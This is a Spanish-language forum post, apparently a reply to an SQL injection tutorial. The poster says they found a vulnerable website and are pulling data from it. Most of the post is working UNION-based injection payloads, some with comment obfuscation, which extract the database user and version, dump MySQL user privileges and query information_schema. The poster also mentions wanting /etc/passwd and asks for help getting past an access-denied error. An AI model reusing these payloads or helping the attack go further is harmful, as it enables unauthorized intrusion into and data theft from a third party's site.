hola amigos
lei el tuto, muy bueno, encontre por suerte una web vulnerable, que me costo un bocho pero le estoy sacando datoss:
.php?id=-1/**/union/**/all/**/select/**/1,unhex(hex(current_user()))/*
me tiro el usuario
.php?id=-1/**/union/**/all/**/select/**/1,unhex(hex(version()))/*
me da la version
al quere conocer el pass, por ejemplo con lo mencionado en el tuto:
http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,Select_priv,0x3a,Insert_priv,0x3a,Update_pri
v,0x3a,Delete_priv,0x3a,Create_priv,0x3a,Drop_priv,0x3a,Reload_priv,0x3a,Shutdown_priv,0x3a,P
rocess_priv,0x3a,File_priv,0x3a,Grant_priv,0x3a,References_priv,0x3a,Index_priv,0x3a,Alter_priv,
0x3a,Show_db_priv,0x3a,Super_priv,0x3a,Create_tmp_table_priv,0x3a,Lock_tables_priv,0x3a,Exe
cute_priv,0x3a,Repl_slave_priv,0x3a,Repl_client_priv),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+m
ysql.user--
http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,table_schema,0x3a,privilege_type),3,4,5,6,7,8,9,10,
11,12,13,14,15,16+FROM+information_schema.schema_privileges--
http://localhost/print.php?id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name,0x3a,privileg
e_type),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_schema.column_privileges--
o cuando quiero ver el archivo etc/password
http://localhost/print.php?id=-1+union+all+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_schema.schem
me aparece que el usuario no puede acceder a la base de datos:
Access denied for user 'yyduhf' to database 'information_schema'
como puede seguir? estoy estancado......
gracias amigos